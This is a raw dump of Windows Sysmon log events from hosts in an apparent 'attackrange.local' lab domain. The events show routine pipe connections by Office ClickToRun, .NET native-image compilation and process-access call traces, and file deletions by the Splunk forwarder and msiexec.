18141800x800000000000000042178Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.227{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042177Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.180{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042176Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.164{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042175Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.102{7BD73061-6D0E-613B-8A06-00000000F001}32686044C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+1158a|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000042174Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:12.102{7BD73061-6D0E-613B-8A06-00000000F001}32686044C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D0E-613B-8C06-00000000F001}4864C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\System32\TokenBroker.dll+22ee6|C:\Windows\System32\TokenBroker.dll+114b3|C:\Windows\System32\TokenBroker.dll+d335|C:\Windows\System32\TokenBroker.dll+d669|C:\Windows\System32\TokenBroker.dll+1ff53|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+618c3|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+3d38b|C:\Windows\System32\combase.dll+3e7b2|C:\Windows\System32\combase.dll+63c83|C:\Windows\System32\combase.dll+3e8cd|C:\Windows\System32\combase.dll+6203c|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 18141800x800000000000000042173Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042172Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042171Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042170Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042169Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042168Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042167Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042166Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042165Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.102{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042164Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:12.023{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000013815Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:12.021{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=043C628708853B11A97815ED822E2019,SHA256=9AA6F76B6234B904874172AB75DC89C69B279401BFA56669B819FA052C8F69DB,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000042329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.977{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-DB08-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.961{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-DB08-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.961{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-DB08-00000000F001}2892C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.961{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.914{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-DA08-00000000F001}3628C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.898{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-DA08-00000000F001}3628C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.898{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-DA08-00000000F001}3628C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 18141800x800000000000000042314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.883{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.883{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.883{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 11241100x800000000000000042311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:13.867{7BD73061-6F3D-613B-D908-00000000F001}7144C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exeC:\Windows\assembly\NativeImages_v4.0.30319_32\Temp\1be8-0\Microsoft.VisualStudio.Tools.Applications.Hosting.dll2021-09-10 14:44:13.867 18141800x800000000000000042310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.820{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.773{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.758{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.695{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 23542300x800000000000000042298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.680{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\Installer\MSI5D5B.tmpMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 18141800x800000000000000042297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.617{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.617{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000042295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.617{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.586{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-D908-00000000F001}7144C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.570{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-D908-00000000F001}7144C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000042292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.570{7BD73061-6F29-613B-3408-00000000F001}55565184C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3D-613B-D908-00000000F001}7144C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d19b(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d23f(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d2bd(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 18141800x800000000000000042291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:13.555{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000042290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.539{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F3D-613B-D808-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000042289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:13.523{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F3D-613B-D808-00000000F001}6916C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 